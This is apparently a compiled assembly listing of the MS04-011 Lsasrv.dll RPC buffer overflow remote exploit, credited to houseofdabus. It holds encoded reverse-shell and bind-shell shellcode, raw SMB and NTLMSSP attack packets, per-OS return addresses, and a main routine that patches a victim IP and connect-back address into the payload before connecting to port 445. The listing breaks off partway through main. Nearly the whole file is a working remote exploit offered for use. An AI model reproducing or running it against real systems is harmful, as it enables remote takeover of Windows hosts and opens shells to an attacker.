	.file	"81397.c"
	.intel_syntax noprefix
	.text
	.globl	reverseshell
	.data
	.align 32
	.type	reverseshell, @object
	.size	reverseshell, 317
reverseshell:
	.ascii	"\353\020[K3\311f\271%\001\2004\013\231\342\372\353\005\350\353"
	.ascii	"\377\377\377pb\231\231\231\306\3758\251\231\231\231\022\331\225"
	.ascii	"\022\351\2054\022\361\221\022n\363\235\300q\002\231\231\231{"
	.ascii	"`\361\252\253"
	.string	"\231\231\361\356\352\253\306\315f\217\022q\363\235\300q\033\231\231\231{`\030u\t\230\231\231\315\361\230\230\231\231f\317\211\311\311\311\311\331\311\331\311f\317\215\022A\361\346\231\231\230\361\233\231\235K\022U\363\211\310\312f\317\201\034Y\354\323\361\372\364\375\231\020\377\251\032u\315\024\245\275\363\214\3002{d_\335\275\211\335g\335\275\244\020\305\275\321\020\305\275\325\020\305\275\311\024\335\275\211\315\311\310\310\310\363\230\310\310f\357\251\310f\317\235\022U\363ff\250f\317\221\312f\317\205f\317\225\310\317\022\334\245\022\315\261\341\232L\313\022\353\271\232l\252P\320\3304\232\\\252B\226'\211\243O\355\221XR\224\232C\331rh\242\206\354~\303\022\303\275\232D\377\022\225\322\022\303\205\232D\022\235\022\232\\2\307\300Zq\231fff\027\327\227u\353g*\2174@\234WvWy\371Rte\242@\220l4u`3\371~\340_\340"
	.globl	bindshell
	.align 32
	.type	bindshell, @object
	.size	bindshell, 405
bindshell:
	.ascii	"\353\020ZJ3\311f\271}\001\2004\n\231\342\372\353\005\350\353"
	.ascii	"\377\377\377p\225\230\231\231\303\3758\251\231\231\231\022\331"
	.ascii	"\225\022\351\2054\022\331\221\022A\022\352\245\022\355\207\341"
	.ascii	"\232j\022\347\271\232b\022\327\215\252t\317\316\310\022\246\232"
	.ascii	"b\022k\363\227\300j?\355\221\300\306\032^\235\334{p\300\306\307"
	.ascii	"\022T\022\337\275\232ZHx\232X\252P\377\022\221\022\337\205\232"
	.ascii	"ZXx\233\232X\022\231\232Z\022c\022n\032_\227\022I\363\232\300"
	.ascii	"q\036\231\231\231\032_\224\313\317f\316e"
	.string	"\303\022A\363\234\300q\355\231\231\231\311\311\311\311\363\230\363\233f\316u\022A^\236\233\231\235K\252Y\020\336\235\363\211\316\312f\316i\363\230\312f\316m\311\311\312f\316a\022I\032u\335\022m\252Y\363\211\300\020\235\027{b\020\317\241\020\317\245\020\317\331\377^\337\265\230\230\024\336\211\311\317\252P\310\310\310\363\230\310\310^\336\245\372\364\375\231\024\336\245\311\310f\316y\313f\316e\312f\316e\311f\316}\252Y5\034Y\354`\310\313\317\312fK\303\3002{w\252YZqvgff\336\374\355\311\353\366\372\330\375\375\353\374\352\352\231\332\353\374\370\355\374\311\353\366\372\374\352\352\330\231\334\341\360\355\315\361\353\374\370\375\231\325\366\370\375\325\360\373\353\370\353\340\330\231\356\352\253\306\252\253\231\316\312\330\312\366\372\362\374\355\330\231\373\360\367\375\231\365\360\352\355\374\367\231\370\372\372\374\351\355\231\372\365\366\352\374\352\366\372\362\374\355\231"
	.globl	req1
	.align 32
	.type	req1, @object
	.size	req1, 138
req1:
	.string	""
	.string	""
	.string	""
	.string	"\205\377SMBr"
	.string	""
	.string	""
	.string	""
	.string	"\030S\310"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\377\376"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"b"
	.string	"\002PC NETWORK PROGRAM 1.0"
	.string	"\002LANMAN1.0"
	.string	"\002Windows for Workgroups 3.1a"
	.string	"\002LM1.2X002"
	.string	"\002LANMAN2.1"
	.string	"\002NT LM 0.12"
	.string	""
	.globl	req2
	.align 32
	.type	req2, @object
	.size	req2, 169
req2:
	.string	""
	.string	""
	.string	""
	.string	"\244\377SMBs"
	.string	""
	.string	""
	.string	""
	.string	"\030\007\310"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\377\376"
	.string	""
	.string	"\020"
	.string	"\f\377"
	.string	"\244"
	.string	"\004\021\n"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	" "
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\324"
	.string	""
	.string	"\200i"
	.string	"NTLMSSP"
	.string	"\001"
	.string	""
	.string	""
	.string	"\227\202\b\340"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"W"
	.string	"i"
	.string	"n"
	.string	"d"
	.string	"o"
	.string	"w"
	.string	"s"
	.string	" "
	.string	"2"
	.string	"0"
	.string	"0"
	.string	"0"
	.string	" "
	.string	"2"
	.string	"1"
	.string	"9"
	.string	"5"
	.string	""
	.string	""
	.string	"W"
	.string	"i"
	.string	"n"
	.string	"d"
	.string	"o"
	.string	"w"
	.string	"s"
	.string	" "
	.string	"2"
	.string	"0"
	.string	"0"
	.string	"0"
	.string	" "
	.string	"5"
	.string	"."
	.string	"0"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.globl	req3
	.align 32
	.type	req3, @object
	.size	req3, 223
req3:
	.string	""
	.string	""
	.string	""
	.string	"\332\377SMBs"
	.string	""
	.string	""
	.string	""
	.string	"\030\007\310"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\377\376"
	.string	"\b "
	.string	"\f\377"
	.string	"\332"
	.string	"\004\021\n"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"W"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\324"
	.string	""
	.string	"\200\237"
	.string	"NTLMSSP"
	.string	"\003"
	.string	""
	.string	""
	.string	"\001"
	.string	"\001"
	.string	"F"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"G"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"@"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"@"
	.string	""
	.string	""
	.string	"\006"
	.string	"\006"
	.string	"@"
	.string	""
	.string	""
	.string	"\020"
	.string	"\020"
	.string	"G"
	.string	""
	.string	""
	.string	"\025\212\210\340H"
	.string	"O"
	.string	"D"
	.string	""
	.string	"\201\031jz\362\344I\034(\2570%t\020gSW"
	.string	"i"
	.string	"n"
	.string	"d"
	.string	"o"
	.string	"w"
	.string	"s"
	.string	" "
	.string	"2"
	.string	"0"
	.string	"0"
	.string	"0"
	.string	" "
	.string	"2"
	.string	"1"
	.string	"9"
	.string	"5"
	.string	""
	.string	""
	.string	"W"
	.string	"i"
	.string	"n"
	.string	"d"
	.string	"o"
	.string	"w"
	.string	"s"
	.string	" "
	.string	"2"
	.string	"0"
	.string	"0"
	.string	"0"
	.string	" "
	.string	"5"
	.string	"."
	.string	"0"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.globl	req4
	.align 32
	.type	req4, @object
	.size	req4, 97
req4:
	.string	""
	.string	""
	.string	""
	.string	"\\\377SMBu"
	.string	""
	.string	""
	.string	""
	.string	"\030\007\310"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\377\376"
	.string	"\b0"
	.string	"\004\377"
	.string	"\\"
	.string	"\b"
	.string	"\001"
	.string	"1"
	.string	""
	.string	"\\"
	.string	"\\"
	.string	"1"
	.string	"9"
	.string	"2"
	.string	"."
	.string	"1"
	.string	"6"
	.string	"8"
	.string	"."
	.string	"1"
	.string	"."
	.string	"2"
	.string	"1"
	.string	"0"
	.string	"\\"
	.string	"I"
	.string	"P"
	.string	"C"
	.string	"$"
	.string	""
	.string	""
	.string	"?????"
	.string	""
	.globl	req5
	.align 32
	.type	req5, @object
	.size	req5, 105
req5:
	.string	""
	.string	""
	.string	""
	.string	"d\377SMB\242"
	.string	""
	.string	""
	.string	""
	.string	"\030\007\310"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\b\334\004"
	.string	"\b@"
	.string	"\030\377"
	.string	"\336\336"
	.string	"\016"
	.string	"\026"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\237\001\002"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\003"
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	"@"
	.string	""
	.string	""
	.string	"\002"
	.string	""
	.string	""
	.string	"\003\021"
	.string	""
	.string	"\\"
	.string	"l"
	.string	"s"
	.string	"a"
	.string	"r"
	.string	"p"
	.string	"c"
	.string	""
	.string	""
	.string	""
	.globl	req6
	.align 32
	.type	req6, @object
	.size	req6, 161
req6:
	.string	""
	.string	""
	.string	""
	.string	"\234\377SMB%"
	.string	""
	.string	""
	.string	""
	.string	"\030\007\310"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\b\334\004"
	.string	"\bP"
	.string	"\020"
	.string	""
	.string	"H"
	.string	""
	.string	""
	.string	""
	.string	"\004"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"T"
	.string	"H"
	.string	"T"
	.string	"\002"
	.string	"&"
	.string	""
	.string	"@Y"
	.string	"\020\\"
	.string	"P"
	.string	"I"
	.string	"P"
	.string	"E"
	.string	"\\"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\005"
	.string	"\013\003\020"
	.string	""
	.string	""
	.string	"H"
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	"\270\020\270\020"
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	"j(\0319\f\261\320\021\233\250"
	.string	"\300O\331.\365"
	.string	""
	.string	""
	.string	""
	.string	"\004]\210\212\353\034\311\021\237\350\b"
	.string	"+\020H`\002"
	.string	""
	.string	""
	.string	""
	.globl	req7
	.align 32
	.type	req7, @object
	.size	req7, 125
req7:
	.string	""
	.string	""
	.string	"\f\364\377SMB%"
	.string	""
	.string	""
	.string	""
	.string	"\030\007\310"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\b\334\004"
	.string	"\b`"
	.string	"\020"
	.string	""
	.string	"\240\f"
	.string	""
	.string	""
	.string	"\004"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"T"
	.string	"\240\fT"
	.string	"\002"
	.string	"&"
	.string	""
	.string	"@\261\f\020\\"
	.string	"P"
	.string	"I"
	.string	"P"
	.string	"E"
	.string	"\\"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\005"
	.string	""
	.string	"\003\020"
	.string	""
	.string	""
	.string	"\240\f"
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	"\210\f"
	.string	""
	.string	""
	.string	""
	.string	"\t"
	.string	"\354\003"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\354\003"
	.string	""
	.string	""
	.globl	shit1
	.align 32
	.type	shit1, @object
	.size	shit1, 145
shit1:
	.string	"\225\024@"
	.string	"\003"
	.string	""
	.string	""
	.string	"|p@"
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"|p@"
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"|p@"
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"|p@"
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"x\205\023"
	.string	"\253[\246\351"
	.globl	req8
	.align 32
	.type	req8, @object
	.size	req8, 105
req8:
	.string	""
	.string	""
	.string	"\020\370\377SMB/"
	.string	""
	.string	""
	.string	""
	.string	"\030\007\310"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\b\377\376"
	.string	"\b`"
	.string	"\016\377"
	.string	"\336\336"
	.string	"@"
	.string	""
	.string	""
	.string	""
	.string	"\377\377\377\377\b"
	.string	"\270\020"
	.string	""
	.string	"\270\020@"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\271\020\356\005"
	.string	""
	.string	"\001\020"
	.string	""
	.string	""
	.string	"\270\020"
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	"\f "
	.string	""
	.string	""
	.string	""
	.string	"\t"
	.string	"\255\r"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\255\r"
	.string	""
	.string	""
	.globl	req9
	.align 32
	.type	req9, @object
	.size	req9, 113
req9:
	.string	""
	.string	""
	.string	"\017\330\377SMB%"
	.string	""
	.string	""
	.string	""
	.string	"\030\007\310"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\b\030\001"
	.string	"\bp"
	.string	"\020"
	.string	""
	.string	"\204\017"
	.string	""
	.string	""
	.string	"\004"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"T"
	.string	"\204\017T"
	.string	"\002"
	.string	"&"
	.string	""
	.string	"@\225\017"
	.string	"\\"
	.string	"P"
	.string	"I"
	.string	"P"
	.string	"E"
	.string	"\\"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\005"
	.string	""
	.string	"\002\020"
	.string	""
	.string	""
	.string	"\204\017"
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	"l\017"
	.string	""
	.string	""
	.string	""
	.string	"\t"
	.string	""
	.globl	shit3
	.align 32
	.type	shit3, @object
	.size	shit3, 133
shit3:
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\232\250@"
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\232\250@"
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\232\250@"
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\232\250@"
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	"\001"
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.string	""
	.globl	ttarget
	.align 32
	.type	ttarget, @object
	.size	ttarget, 192
ttarget:
	.long	0
	.string	"WinXP Professional    [universal] lsass.exe "
	.zero	5
	.zero	2
	.quad	16795136
	.long	1
	.string	"Win2k Professional    [universal] netrap.dll"
	.zero	5
	.zero	2
	.quad	1964315196
	.long	2
	.string	"Win2k Advanced Server [SP4]       netrap.dll"
	.zero	5
	.zero	2
	.quad	1964773948
	.section	.rodata
.LC0:
	.string	"Usage:\n"
	.align 8
.LC1:
	.string	"%s <target> <victim IP> <bindport> [connectback IP] [options]\n\n"
.LC2:
	.string	"Targets:"
.LC3:
	.string	" %d [0x%.8x]: %s\n"
.LC4:
	.string	"\nOptions:"
.LC5:
	.string	" -t: Detect remote OS:"
.LC6:
	.string	" Windows 5.1 - WinXP"
.LC7:
	.string	" Windows 5.0 - Win2k\n"
	.text
	.globl	usage
	.type	usage, @function
usage:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	lea	rdi, .LC0[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -24[rbp]
	mov	rsi, rax
	lea	rdi, .LC1[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC2[rip]
	call	puts@PLT
	mov	DWORD PTR -4[rbp], 0
	jmp	.L2
.L3:
	mov	eax, DWORD PTR -4[rbp]
	cdqe
	sal	rax, 6
	mov	rdx, rax
	lea	rax, ttarget[rip]
	add	rax, rdx
	lea	rcx, 4[rax]
	mov	eax, DWORD PTR -4[rbp]
	cdqe
	sal	rax, 6
	mov	rdx, rax
	lea	rax, ttarget[rip+56]
	mov	rdx, QWORD PTR [rdx+rax]
	mov	eax, DWORD PTR -4[rbp]
	cdqe
	sal	rax, 6
	mov	rsi, rax
	lea	rax, ttarget[rip]
	mov	eax, DWORD PTR [rsi+rax]
	mov	esi, eax
	lea	rdi, .LC3[rip]
	mov	eax, 0
	call	printf@PLT
	add	DWORD PTR -4[rbp], 1
.L2:
	cmp	DWORD PTR -4[rbp], 2
	jle	.L3
	lea	rdi, .LC4[rip]
	call	puts@PLT
	lea	rdi, .LC5[rip]
	call	puts@PLT
	lea	rdi, .LC6[rip]
	call	puts@PLT
	lea	rdi, .LC7[rip]
	call	puts@PLT
	mov	edi, 0
	call	exit@PLT
	.cfi_endproc
.LFE6:
	.size	usage, .-usage
	.section	.rodata
	.align 8
.LC8:
	.string	"\nMS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1"
	.align 8
.LC9:
	.string	"--- Coded by .::[ houseofdabus ]::. ---\n"
.LC10:
	.string	"\\\\%s\\ipc$"
.LC11:
	.string	"-t"
.LC12:
	.string	"\353\006\353\006"
.LC13:
	.string	"[-] gethostbyname "
.LC14:
	.string	"socket"
.LC15:
	.string	"[*] Target: IP: %s: OS: %s\n"
.LC16:
	.string	"[*] Connecting to %s:445 ... "
	.align 8
.LC17:
	.string	"\n[-] Sorry, cannot connect to %s:445. Try again...\n"
.LC18:
	.string	"OK"
.LC19:
	.string	"[-] Send failed"
.LC20:
	.string	"[*] Detecting remote OS: "
.LC21:
	.string	"[*] Attacking ... "
	.text
	.globl	main
	.type	main, @function
main:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	lea	r11, -32768[rsp]
.LPSRL0:
	sub	rsp, 4096
	or	DWORD PTR [rsp], 0
	cmp	rsp, r11
	jne	.LPSRL0
	sub	rsp, 2632
	.cfi_offset 3, -24
	mov	DWORD PTR -35396[rbp], edi
	mov	QWORD PTR -35408[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -24[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -35376[rbp], 0
	movabs	rax, 64456700705145190
	mov	QWORD PTR -35304[rbp], rax
	mov	DWORD PTR -35372[rbp], 0
	mov	WORD PTR -35382[rbp], 445
	lea	rdi, .LC8[rip]
	call	puts@PLT
	lea	rdi, .LC9[rip]
	call	puts@PLT
	cmp	DWORD PTR -35396[rbp], 3
	jg	.L5
	mov	rax, QWORD PTR -35408[rbp]
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	usage
.L5:
	mov	rax, QWORD PTR -35408[rbp]
	mov	rax, QWORD PTR 16[rax]
	mov	QWORD PTR -35344[rbp], rax
	mov	rdx, QWORD PTR -35344[rbp]
	lea	rax, -35296[rbp]
	lea	rsi, .LC10[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	mov	DWORD PTR -35380[rbp], 0
	jmp	.L6
.L7:
	mov	eax, DWORD PTR -35380[rbp]
	lea	ecx, [rax+rax]
	mov	eax, DWORD PTR -35380[rbp]
	cdqe
	movzx	edx, BYTE PTR -35296[rbp+rax]
	movsx	rax, ecx
	mov	BYTE PTR -35248[rbp+rax], dl
	mov	eax, DWORD PTR -35380[rbp]
	add	eax, eax
	add	eax, 1
	cdqe
	mov	BYTE PTR -35248[rbp+rax], 0
	add	DWORD PTR -35380[rbp], 1
.L6:
	cmp	DWORD PTR -35380[rbp], 39
	jle	.L7
	lea	rax, -35168[rbp]
	mov	edx, 96
	lea	rsi, req4[rip]
	mov	rdi, rax
	call	memcpy@PLT
	lea	rax, -35296[rbp]
	mov	rdi, rax
	call	strlen@PLT
	lea	rdx, [rax+rax]
	lea	rax, -35168[rbp]
	add	rax, 48
	lea	rcx, -35248[rbp]
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	lea	rbx, req4[rip+87]
	lea	rax, -35296[rbp]
	mov	rdi, rax
	call	strlen@PLT
	add	rax, rax
	lea	rdx, 47[rax]
	lea	rax, -35168[rbp]
	add	rax, rdx
	mov	edx, 9
	mov	rsi, rbx
	mov	rdi, rax
	call	memcpy@PLT
	lea	rax, -35296[rbp]
	mov	rdi, rax
	call	strlen@PLT
	movsx	eax, al
	add	eax, 26
	add	eax, eax
	mov	BYTE PTR -35386[rbp], al
	lea	rax, -35168[rbp]
	add	rax, 3
	movzx	edx, BYTE PTR -35386[rbp]
	mov	BYTE PTR [rax], dl
	lea	rax, -35296[rbp]
	mov	rdi, rax
	call	strlen@PLT
	add	eax, eax
	add	eax, 9
	mov	BYTE PTR -35385[rbp], al
	lea	rax, -35168[rbp]
	add	rax, 45
	movzx	edx, BYTE PTR -35385[rbp]
	mov	BYTE PTR [rax], dl
	cmp	DWORD PTR -35396[rbp], 4
	jle	.L8
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	edx, 2
	lea	rsi, .LC11[rip]
	mov	rdi, rax
	call	memcmp@PLT
	test	eax, eax
	jne	.L8
	mov	DWORD PTR -35376[rbp], 1
.L8:
	cmp	DWORD PTR -35396[rbp], 4
	jle	.L9
	cmp	DWORD PTR -35376[rbp], 0
	jne	.L9
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	mov	eax, 0
	call	atoi@PLT
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	xor	ax, -26215
	mov	WORD PTR -35384[rbp], ax
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	inet_addr@PLT
	xor	eax, -1717986919
	mov	eax, eax
	mov	QWORD PTR -35360[rbp], rax
	movzx	eax, WORD PTR -35384[rbp]
	mov	WORD PTR reverseshell[rip+118], ax
	mov	eax, DWORD PTR -35360[rbp]
	mov	DWORD PTR reverseshell[rip+111], eax
	lea	rax, reverseshell[rip]
	mov	QWORD PTR -35352[rbp], rax
	jmp	.L10
.L9:
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	mov	eax, 0
	call	atoi@PLT
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	xor	ax, -26215
	mov	WORD PTR -35384[rbp], ax
	movzx	eax, WORD PTR -35384[rbp]
	mov	WORD PTR bindshell[rip+176], ax
	lea	rax, bindshell[rip]
	mov	QWORD PTR -35352[rbp], rax
.L10:
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	mov	eax, 0
	call	atoi@PLT
	cmp	eax, 1
	je	.L11
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	mov	eax, 0
	call	atoi@PLT
	cmp	eax, 2
	jne	.L12
.L11:
	lea	rax, -31440[rbp]
	mov	edx, 3500
	mov	esi, 144
	mov	rdi, rax
	call	memset@PLT
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	mov	eax, 0
	call	atoi@PLT
	cdqe
	sal	rax, 6
	lea	rdx, 48[rax]
	lea	rax, ttarget[rip]
	add	rax, rdx
	add	rax, 8
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR -29420[rbp], eax
	mov	rax, QWORD PTR -35352[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	mov	rax, QWORD PTR -35352[rbp]
	lea	rcx, -31440[rbp]
	add	rcx, 2036
	mov	rsi, rax
	mov	rdi, rcx
	call	memcpy@PLT
	lea	rax, -31440[rbp]
	add	rax, 2840
	mov	edx, 4
	lea	rsi, .LC12[rip]
	mov	rdi, rax
	call	memcpy@PLT
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	mov	eax, 0
	call	atoi@PLT
	cdqe
	sal	rax, 6
	lea	rdx, 48[rax]
	lea	rax, ttarget[rip]
	add	rax, rdx
	add	rax, 8
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR -28596[rbp], eax
	mov	rax, QWORD PTR -35352[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	mov	rax, QWORD PTR -35352[rbp]
	lea	rcx, -31440[rbp]
	add	rcx, 2856
	mov	rsi, rax
	mov	rdi, rcx
	call	memcpy@PLT
	mov	DWORD PTR -35380[rbp], 0
	jmp	.L13
.L14:
	mov	eax, DWORD PTR -35380[rbp]
	lea	ecx, [rax+rax]
	mov	eax, DWORD PTR -35380[rbp]
	cdqe
	movzx	edx, BYTE PTR -31440[rbp+rax]
	movsx	rax, ecx
	mov	BYTE PTR -23856[rbp+rax], dl
	mov	eax, DWORD PTR -35380[rbp]
	add	eax, eax
	add	eax, 1
	cdqe
	mov	BYTE PTR -23856[rbp+rax], 0
	add	DWORD PTR -35380[rbp], 1
.L13:
	cmp	DWORD PTR -35380[rbp], 3499
	jle	.L14
	mov	BYTE PTR -16856[rbp], 0
	mov	BYTE PTR -16855[rbp], 0
	lea	rax, -16848[rbp]
	mov	edx, 7250
	mov	esi, 49
	mov	rdi, rax
	call	memset@PLT
	lea	rax, -8432[rbp]
	mov	edx, 7250
	mov	esi, 49
	mov	rdi, rax
	call	memset@PLT
	jmp	.L15
.L12:
	lea	rax, -33440[rbp]
	mov	edx, 2000
	mov	esi, 144
	mov	rdi, rax
	call	memset@PLT
	mov	rax, QWORD PTR -35352[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, -33440[rbp]
	add	rax, 160
	mov	rcx, QWORD PTR -35352[rbp]
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	lea	rax, -35304[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	lea	rax, -33440[rbp]
	add	rax, 1980
	lea	rcx, -35304[rbp]
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	mov	eax, 0
	call	atoi@PLT
	lea	rdx, -33440[rbp]
	add	rdx, 1964
	cdqe
	sal	rax, 6
	mov	rcx, rax
	lea	rax, ttarget[rip+56]
	mov	rax, QWORD PTR [rcx+rax]
	mov	QWORD PTR [rdx], rax
.L15:
	lea	rax, -27936[rbp]
	mov	edx, 3625
	mov	esi, 49
	mov	rdi, rax
	call	memset@PLT
	mov	rax, QWORD PTR -35408[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	gethostbyname@PLT
	mov	QWORD PTR -35336[rbp], rax
	cmp	QWORD PTR -35336[rbp], 0
	jne	.L16
	lea	rdi, .LC13[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L16:
	mov	edx, 0
	mov	esi, 1
	mov	edi, 2
	call	socket@PLT
